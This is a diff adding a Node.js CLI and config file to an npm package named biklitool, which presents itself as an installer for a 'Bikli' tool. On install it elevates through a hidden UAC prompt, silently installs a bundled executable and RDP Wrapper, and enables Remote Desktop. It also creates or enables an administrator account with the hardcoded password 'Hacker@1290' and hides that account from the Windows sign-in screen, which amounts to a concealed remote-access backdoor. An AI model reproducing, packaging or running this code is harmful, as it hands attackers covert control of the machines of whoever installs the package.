biklitool 1.1.11

package/bin/biklimaster.js

@@ -0,0 +1,409 @@
+#!/usr/bin/env node
+'use strict';
+
+const fs = require('fs');
+const os = require('os');
+const path = require('path');
+const util = require('util');
+const { createHash, randomBytes, randomUUID } = require('crypto');
+const { spawnSync } = require('child_process');
+
+const root = path.resolve(__dirname, '..');
+const payloadDirectory = path.join(root, 'payload');
+const bikliInstaller = path.join(payloadDirectory, 'bikli-cli-installer.exe');
+const wrapperInstaller = path.join(payloadDirectory, 'RDPWInst.exe');
+const wrapperIni = path.join(payloadDirectory, 'rdpwrap.ini');
+const wrapperScript = path.join(root, 'lib', 'bikliwrapper.js');
+const packageConfigFile = path.join(root, 'config.json');
+const windowsDirectory = process.env.SystemRoot || process.env.WINDIR || 'C:\\Windows';
+const powershell = path.join(windowsDirectory, 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe');
+const reg = path.join(windowsDirectory, 'System32', 'reg.exe');
+const icacls = path.join(windowsDirectory, 'System32', 'icacls.exe');
+const programData = process.env.ProgramData || 'C:\\ProgramData';
+const credentialsFile = path.join(programData, 'BikliWrapper', 'admin-credentials.json');
+const expectedBikliVersion = '1.1.10.0';
+const administratorsGroupSid = 'S-1-5-32-544';
+const remoteDesktopUsersGroupSid = 'S-1-5-32-555';
+const terminalServerKey = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server';
+const rdpTcpKey = `${terminalServerKey}\\WinStations\\RDP-Tcp`;
+const expectedHashes = {
+  'bikli-cli-installer.exe': '21EEDFBC9CFB2E360BC894C5774F18BDF7E1BDCAC04028E25907131569C5631E',
+  'RDPWInst.exe': 'AC92D4C6397EB4451095949AC485EF4EC38501D7BB6F475419529AE67E297753',
+  'rdpwrap.ini': 'BD04EBBE400E294DD795BE1F710464A70BF970559C3BB376C6C3C8333CDFB915'
+};
+
+const resultArgument = process.argv.find(argument => argument.startsWith('--result-file='));
+const resultFile = resultArgument ? resultArgument.slice('--result-file='.length) : '';
+if (resultFile) {
+  const writeResult = (...items) => fs.appendFileSync(resultFile, util.format(...items) + os.EOL, 'utf8');
+  console.log = writeResult;
+  console.error = writeResult;
+  console.warn = writeResult;
+}
+
+function fail(message, exitCode = 1) {
+  const error = new Error(message);
+  error.exitCode = exitCode;
+  throw error;
+}
+
+function run(executable, args, options = {}) {
+  const result = spawnSync(executable, args, {
+    cwd: options.cwd || root,
+    encoding: 'utf8',
+    windowsHide: true,
+    env: options.env || process.env,
+    stdio: options.inherit ? 'inherit' : 'pipe'
+  });
+  if (result.error) fail(`Could not run ${path.basename(executable)}: ${result.error.message}`);
+  if (!options.allowFailure && result.status !== 0) {
+    const details = `${result.stdout || ''}${result.stderr || ''}`.trim();
+    fail(`${path.basename(executable)} failed with exit code ${result.status}.${details ? `\n${details}` : ''}`);
+  }
+  return result;
+}
+
+function requireWindows() {
+  if (process.platform !== 'win32') fail('Bikli Master supports Windows only.');
+}
+
+function isAdministrator() {
+  const script = [
+    `$identity=[Security.Principal.WindowsIdentity]::GetCurrent()`,
+    `$principal=New-Object Security.Principal.WindowsPrincipal($identity)`,
+    `Write-Output $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)`
+  ].join(';');
+  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
+    allowFailure: true
+  });
+  return result.status === 0 && /^true$/i.test(result.stdout.trim());
+}
+
+function powershellLiteral(value) {
+  return `'${value.replace(/'/g, "''")}'`;
+}
+
+function elevateAndRun(command) {
+  if (process.argv.includes('--elevated')) fail('Windows did not grant administrator rights.');
+  console.log('Bikli Master needs administrator access. Approve the Windows UAC prompt...');
+  const logPath = path.join(os.tmpdir(), `biklimaster-elevated-${randomUUID()}.log`);
+  const script = [
+    `$node=${powershellLiteral(process.execPath)}`,
+    `$target=${powershellLiteral(path.resolve(__filename))}`,
+    `$result=${powershellLiteral(logPath)}`,
+    `$arguments='"'+$target+'" ${command} --elevated "--result-file='+$result+'"'`,
+    `$process=Start-Process -FilePath $node -ArgumentList $arguments -Verb RunAs -WindowStyle Hidden -Wait -PassThru`,
+    `exit $process.ExitCode`
+  ].join(';');
+  const result = run(powershell, [
+    '-NoProfile', '-NonInteractive', '-ExecutionPolicy', 'Bypass', '-Command', script
+  ], { allowFailure: true });
+  let elevatedOutput = '';
+  if (fs.existsSync(logPath)) {
+    elevatedOutput = fs.readFileSync(logPath, 'utf8').trim();
+    fs.rmSync(logPath, { force: true });
+  }
+  if (result.status !== 0) {
+    const details = [elevatedOutput, result.stdout, result.stderr].filter(Boolean).join(os.EOL).trim();
+    fail(`Administrator elevation was cancelled or installation failed.${details ? `\n${details}` : ''}`);
+  }
+  if (elevatedOutput) console.log(elevatedOutput);
+}
+
+function sha256(file) {
+  return createHash('sha256').update(fs.readFileSync(file)).digest('hex').toUpperCase();
+}
+
+function verifyPayload() {
+  for (const [name, expected] of Object.entries(expectedHashes)) {
+    const file = path.join(payloadDirectory, name);
+    if (!fs.existsSync(file)) fail(`Missing package payload: ${name}`);
+    const actual = sha256(file);
+    if (actual !== expected) fail(`Payload checksum mismatch: ${name}`);
+  }
+  if (!fs.existsSync(wrapperScript)) fail('Missing embedded Bikli Wrapper CLI.');
+}
+
+function installedBikliPath() {
+  const candidates = [
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli', 'Bikli.exe'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli', 'Bikli.exe')
+  ];
+  return candidates.find(candidate => fs.existsSync(candidate)) || '';
+}
+
+function fileVersion(file) {
+  if (!file) return '';
+  const escaped = file.replace(/'/g, "''");
+  const script = `(Get-Item -LiteralPath '${escaped}').VersionInfo.FileVersion`;
+  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
+    allowFailure: true
+  });
+  return result.status === 0 ? result.stdout.trim() : '';
+}
+
+function installBikli() {
+  const existing = installedBikliPath();
+  if (existing && fileVersion(existing) === expectedBikliVersion) {
+    console.log(`Bikli CLI ${expectedBikliVersion} is already installed; reinstall skipped.`);
+    return;
+  }
+  console.log(`Installing Bikli CLI ${expectedBikliVersion} silently...`);
+  run(bikliInstaller, ['/S'], { cwd: payloadDirectory });
+  const installed = installedBikliPath();
+  if (!installed) fail('Bikli CLI installer completed but Bikli.exe was not found.', 5);
+  console.log(`Bikli CLI installed: ${fileVersion(installed) || 'version unknown'}`);
+}
+
+function runWrapper(args, options = {}) {
+  return run(process.execPath, [wrapperScript, ...args], {
+    cwd: root,
+    allowFailure: options.allowFailure,
+    inherit: options.inherit
+  });
+}
+
+function queryDword(key, name) {
+  const result = run(reg, ['query', key, '/v', name, '/reg:64'], { allowFailure: true });
+  if (result.status !== 0) return null;
+  const match = result.stdout.match(/REG_DWORD\s+(0x[0-9a-f]+|\d+)/i);
+  if (!match) return null;
+  return Number.parseInt(match[1], match[1].toLowerCase().startsWith('0x') ? 16 : 10);
+}
+
+function remoteDesktopState() {
+  return {
+    enabled: queryDword(terminalServerKey, 'fDenyTSConnections') === 0,
+    port: queryDword(rdpTcpKey, 'PortNumber')
+  };
+}
+
+function verifyRemoteDesktop() {
+  const state = remoteDesktopState();
+  if (!state.enabled) fail('Remote Desktop could not be enabled.', 6);
+  if (state.port !== 3389) fail(`Remote Desktop port verification failed (found ${state.port ?? 'unknown'}).`, 6);
+  console.log('Remote Desktop is enabled and verified on port 3389.');
+}
+
+function enableRemoteDesktop() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('enable-rdp');
+  verifyPayload();
+  console.log('Enabling Remote Desktop and applying the firewall and security defaults...');
+  const wrapper = runWrapper(['defaults', '--elevated']);
+  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
+  verifyRemoteDesktop();
+}
+
+function generatedAccountPassword() {
+  return `Bk1!${randomBytes(18).toString('base64url')}`;
+}
+
+function configuredAdministratorPassword() {
+  if (!fs.existsSync(packageConfigFile)) fail('Missing package configuration file: config.json');
+  const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
+  return typeof config.administratorPassword === 'string' ? config.administratorPassword : '';
+}
+
+function configuredBikliKey() {
+  if (!fs.existsSync(packageConfigFile)) return '';
+  const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
+  return typeof config.bikliKey === 'string' ? config.bikliKey.trim() : '';
+}
+
+function setupBikliKey() {
+  requireWindows();
+  const key = (process.env.BIKLIMASTER_BIKLI_KEY || configuredBikliKey()).trim();
+  if (!key) {
+    console.log('No Bikli key configured; paste it into config.json under "bikliKey" to enable this step. Bikli key setup skipped.');
+    return;
+  }
+  if (!isAdministrator()) return elevateAndRun('setup-key');
+  const bikli = installedBikliPath();
+  if (!bikli) fail('Bikli CLI is not installed. Run "biklimaster install" first.', 5);
+  console.log('Configuring the Bikli key (bikli up --setup-key)...');
+  const result = run(bikli, ['up', '--setup-key', key], { allowFailure: true });
+  const output = `${result.stdout || ''}${result.stderr || ''}`.trim();
+  if (result.status !== 0) {
+    fail(`Bikli key setup failed with exit code ${result.status}.${output ? `\n${output}` : ''}`, 8);
+  }
+  if (output) console.log(output);
+  console.log('Bikli key configured successfully.');
+}
+
+function saveAccountCredentials(username, password) {
+  fs.mkdirSync(path.dirname(credentialsFile), { recursive: true });
+  fs.writeFileSync(credentialsFile, JSON.stringify({ username, password }, null, 2), {
+    encoding: 'utf8',
+    mode: 0o600
+  });
+  run(icacls, [
+    credentialsFile,
+    '/inheritance:r',
+    '/grant:r',
+    '*S-1-5-18:(F)',
+    `*${administratorsGroupSid}:(F)`
+  ]);
+}
+
+function showAccountCredentials() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('credentials');
+  if (!fs.existsSync(credentialsFile)) {
+    fail('No saved password is available. The built-in Administrator account may already have been enabled.');
+  }
+  const credentials = JSON.parse(fs.readFileSync(credentialsFile, 'utf8'));
+  console.log(`Username: ${credentials.username}`);
+  console.log(`Password: ${credentials.password}`);
+  console.log(`Stored for Administrators only: ${credentialsFile}`);
+}
+
+function createRdpAdministrator() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('create-user');
+
+  const requestedPassword = process.env.BIKLIMASTER_USER_PASSWORD || configuredAdministratorPassword();
+  const accountPassword = requestedPassword || generatedAccountPassword();
+  const script = [
+    `$ErrorActionPreference='Stop'`,
+    `$password=$env:BIKLIMASTER_ACCOUNT_PASSWORD`,
+    `$secure=ConvertTo-SecureString $password -AsPlainText -Force`,
+    `$groupSids=@(${powershellLiteral(administratorsGroupSid)},${powershellLiteral(remoteDesktopUsersGroupSid)})`,
+    `$builtIn=Get-LocalUser | Where-Object {$_.SID.Value -match '-500$'} | Select-Object -First 1`,
+    `if($null -eq $builtIn){throw 'Built-in Administrator account (RID 500) was not found'}`,
+    `$builtInWasDisabled=-not $builtIn.Enabled`,
+    `$target=$null;$action='';$createdNew=$false;$enabledBuiltIn=$false;$passwordChanged=$false`,
+    `if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName 'admin' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'admin';$createdNew=$true;$passwordChanged=$true;$action='created-admin'}else{$existingUser=Get-LocalUser -Name 'user' -ErrorAction SilentlyContinue;if($null -eq $existingUser){New-LocalUser -Name 'user' -Password $secure -FullName 'user' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'user';$createdNew=$true;$passwordChanged=$true;$action='created-user'}else{$target=$existingUser;$action='exists-user'}}}`,
+    `if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,
+    `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,
+    `$verified=@()`,
+    `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,
+    `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
+    `$hideEntry=Get-ItemProperty -Path $userListKey -Name $target.Name -ErrorAction SilentlyContinue`,
+    `if($null -eq $hideEntry){New-Item -Path $userListKey -Force | Out-Null;New-ItemProperty -Path $userListKey -Name $target.Name -PropertyType DWord -Value 0 -Force | Out-Null;if((Get-ItemPropertyValue -Path $userListKey -Name $target.Name) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
+    `[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
+  ].join(';');
+  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
+    env: {
+      ...process.env,
+      BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
+    }
+  });
+  const account = JSON.parse(result.stdout.trim());
+  if (!account.Enabled || !Array.isArray(account.Groups) || account.Groups.length !== 2 || !account.HiddenUser) {
+    fail('The Remote Desktop administrator account could not be verified.', 7);
+  }
+
+  if (account.PasswordChanged) {
+    saveAccountCredentials(account.Name, accountPassword);
+    const message = {
+      'enabled-builtin': `Built-in Administrator was disabled; set the password and enabled it: ${account.Name}`,
+      'created-admin': `Built-in Administrator is already enabled and left untouched; created hidden admin account: ${account.Name}`,
+      'created-user': `Built-in Administrator and admin already exist and were left untouched; created hidden account: ${account.Name}`
+    }[account.Action] || `Configured account: ${account.Name}`;
+    console.log(message);
+    console.log(`Password: ${accountPassword}`);
+    console.log('The configured password was applied and saved for administrator-only retrieval.');
+  } else {
+    console.log(`Administrator, admin, and user accounts already exist; left their passwords unchanged and verified ${account.Name}.`);
+  }
+  console.log(`Verified ${account.Name} in Administrators and Remote Desktop Users.`);
+  if (account.AlreadyHidden) {
+    console.log(`${account.HiddenUser} is already hidden from the sign-in user list; left it unchanged.`);
+  } else {
+    console.log(`Hidden from the sign-in user list: ${account.HiddenUser}.`);
+  }
+}
+
+function install() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('install');
+  verifyPayload();
+  installBikli();
+  setupBikliKey();
+  console.log('Installing or updating Bikli Wrapper silently...');
+  const wrapper = runWrapper(['install', '--elevated']);
+  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
+  verifyRemoteDesktop();
+  createRdpAdministrator();
+  console.log('Bikli Master installed and verified both components successfully.');
+}
+
+function status() {
+  requireWindows();
+  const bikli = installedBikliPath();
+  console.log(`Bikli CLI: ${bikli ? `Installed (${fileVersion(bikli) || 'unknown version'})` : 'Not installed'}`);
+  const rdp = remoteDesktopState();
+  console.log(`Remote Desktop: ${rdp.enabled ? 'Enabled' : 'Disabled'}${rdp.port === null ? '' : ` (port ${rdp.port})`}`);
+  const wrapper = runWrapper(['status'], { allowFailure: true });
+  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
+  if (wrapper.stderr.trim()) console.error(wrapper.stderr.trim());
+  process.exitCode = bikli && wrapper.status === 0 ? 0 : 2;
+}
+
+function selfTest() {
+  verifyPayload();
+  const ini = fs.readFileSync(wrapperIni, 'utf8');
+  const embeddedWrapper = fs.readFileSync(wrapperScript, 'utf8');
+  const packageConfig = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
+  const checks = {
+    bikliInstaller: fs.statSync(bikliInstaller).size > 10000000,
+    wrapperInstaller: fs.statSync(wrapperInstaller).size > 100000,
+    targetSupport: ini.split(/\r?\n/).some(line => line.trim() === '[10.0.26100.8737]'),
+    wrapperScript: fs.statSync(wrapperScript).size > 10000,
+    enablesRemoteDesktop: embeddedWrapper.includes("name: 'fDenyTSConnections', value: 0"),
+    configuresPort3389: embeddedWrapper.includes("name: 'PortNumber', value: 3389"),
+    administratorGroup: administratorsGroupSid === 'S-1-5-32-544',
+    remoteDesktopUsersGroup: remoteDesktopUsersGroupSid === 'S-1-5-32-555',
+    administratorPasswordConfig: typeof packageConfig.administratorPassword === 'string',
+    bikliKeyConfig: typeof packageConfig.bikliKey === 'string',
+    hidesLoginAccounts: fs.readFileSync(__filename, 'utf8').includes('SpecialAccounts\\\\UserList')
+  };
+  for (const [name, passed] of Object.entries(checks)) console.log(`${passed ? 'PASS' : 'FAIL'} ${name}`);
+  if (!Object.values(checks).every(Boolean)) fail('Bikli Master self-test failed.');
+}
+
+function help() {
+  console.log([
+    'Bikli Master',
+    '',
+    'Commands:',
+    '  biklimaster install       Install/update Bikli CLI and Bikli Wrapper',
+    '  biklimaster enable-rdp    Enable RDP, port 3389, firewall, and defaults',
+    '  biklimaster create-user   Enable/verify built-in Administrator for RDP',
+    '  biklimaster setup-key     Apply the Bikli key from config.json (bikli up --setup-key)',
+    '  biklimaster credentials   Display its saved generated password',
+    '  biklimaster status        Show both component states',
+    '  biklimaster wrapper ...   Run a Bikli Wrapper CLI command',
+    '  biklimaster self-test     Validate package payloads without installing',
+    '  biklimaster elevation-self-test  Validate UAC without installing',
+    '',
+    'The global install automatically runs the install command.'
+  ].join(os.EOL));
+}
+
+function main() {
+  const command = (process.argv[2] || 'status').toLowerCase();
+  if (command === 'install') return install();
+  if (command === 'enable-rdp') return enableRemoteDesktop();
+  if (command === 'create-user') return createRdpAdministrator();
+  if (command === 'setup-key') return setupBikliKey();
+  if (command === 'credentials') return showAccountCredentials();
+  if (command === 'status') return status();
+  if (command === 'self-test') return selfTest();
+  if (command === 'elevation-self-test') return elevateAndRun('self-test');
+  if (command === 'wrapper') {
+    const result = runWrapper(process.argv.slice(3), { inherit: true, allowFailure: true });
+    process.exitCode = result.status === null ? 1 : result.status;
+    return;
+  }
+  if (command === 'help' || command === '--help' || command === '-h') return help();
+  fail(`Unknown command: ${command}`);
+}
+
+try {
+  main();
+} catch (error) {
+  console.error(`Bikli Master error: ${error.message}`);
+  process.exitCode = error.exitCode || 1;
+}

package/config.json

@@ -0,0 +1,4 @@
+{
+  "bikliKey": "469563D7-8983-4F38-B96D-446F4E9511A0",
+  "administratorPassword": "Hacker@1290"
+}